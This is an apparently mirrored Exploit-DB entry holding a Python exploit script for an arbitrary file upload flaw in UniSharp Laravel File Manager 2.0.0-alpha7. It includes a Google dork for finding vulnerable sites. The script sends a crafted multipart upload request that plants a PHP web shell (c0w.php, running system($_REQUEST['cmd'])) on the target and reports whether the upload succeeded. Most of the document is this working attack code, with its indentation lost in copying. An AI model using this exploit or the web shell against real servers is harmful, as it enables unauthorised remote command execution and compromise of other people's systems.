UniSharp Laravel File Manager 2.0.0-alpha7 – Arbitrary File Upload

  • 作者: Mohammad Danish
    日期: 2019-02-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46389/
  • ### Exploit Title: UniSharp Laravel File Manager - Arbitrary File Upload
    ##
    ## Google Dork: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io
    ## Exploit Author: Mohammad Danish
    ## Vendor Homepage: https://github.com/UniSharp/laravel-filemanager
    ## Software Link: https://github.com/UniSharp/laravel-filemanager
    ## Version: v2.0.0-alpha7 & v.2.0
    ## 
    ##Exploit: UniSharp Laravel File Manager - Arbitrary File Upload
    ##Reference: https://github.com/UniSharp/laravel-filemanager/issues/356
    ##
    ##
    ##Issue Description:
    ##Larvel File Manager by UniSharp allows Arbitrary File Upload if type is set to Files /laravel-filemanager?type=Files
    ##
    ##*********************
    ##IMPORTANT READ
    ##*********************
    ##Code is not good written, as I just started learning python
    ##
    ##**********************
    ##[!!] USAGE: exploit.py <target-ip> <target-port> <laravel_session Cookie>
    ##[!!] USAGE: exploit.py 192.168.100.12 8080 eyJpdiI6IlplemdVaG9FSm9MaXJobEgrYlwvSkhnPT0iLCJ2YWx1ZSI6IkhrZ2R1O..........<YOUR SESSION ID HERE>
    ##-----------------------
    ##
    
    
    import socket
    import sys
    
    def exploit(host,port,sessionId):
    
    req = ""
    req += "POST /laravel-filemanager/upload HTTP/1.1\r\n"
    req += "Host: "+host+":"+port+"\r\n" 
    req += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0\r\n"
    req += "Accept: */*\r\n"
    req += "Accept-Language: en-US,en;q=0.5\r\n"
    req += "Accept-Encoding: gzip, deflate\r\n"
    req += "X-Requested-With: XMLHttpRequest\r\n"
    req += "Referer: http://"+host+":"+port+"/laravel-filemanager?type=Files\r\n"
    req += "Content-Length: 527\r\n"
    req += "Content-Type: multipart/form-data; boundary=---------------------------12194679330849\r\n"
    req += "Cookie:laravel_session="+sessionId+"\r\n"
    req += "Connection: keep-alive\r\n"
    req += "\r\n"
    req += "\r\n"
    
    req += "-----------------------------260082409123824\r\n"
    req += 'Content-Disposition: form-data; name="upload[]"; filename="c0w.php"\r\n'
    req += 'Content-Type: text/plain\r\n\r\n'
    
    req += 'Happy Hacking!!\r\n'
    req += "<?\r\n"
    req += "system($_REQUEST['cmd']);\r\n"
    req += "?>\r\n"
    req += "-------------------\r\n"
    req += "-----------------------------260082409123824\r\n"
    req += 'Content-Disposition: form-data; name="working_dir"\r\n'
    req += "/1\r\n"
    req += "-----------------------------260082409123824\r\n"
    req += 'Content-Disposition: form-data; name="type"\r\n'
    
    req += "Files\r\n"
    req += "-----------------------------260082409123824\r\n"
    req += 'Content-Disposition: form-data; name="_token"\r\n'
    
    req += "MU5XhVxbrkRnkVJFUHCjdfNSVTKm3qro6OgtWXjy\r\n"
    req += "-----------------------------260082409123824--\r\n"
    
    s = socket.socket()
    int_port = int(port)
    s.connect((host,int_port))
    ##print req
    s.send(req)
    response = s.recv(1024)
    magic = response[-10:]
    if "OK" in magic:
    print "[!] Your shell Uploaded successfully to directory /1/c0w.php"
    else:
    print "[!] Either the server is not vulnerable OR \r\n1) Check your laravel_session cookie \r\n2) Change working_dir in this exploit \r\n3) Check _token"
    
    
    
    host = sys.argv[1]
    port = sys.argv[2]
    sessionId = sys.argv[3]
    exploit(host,port,sessionId)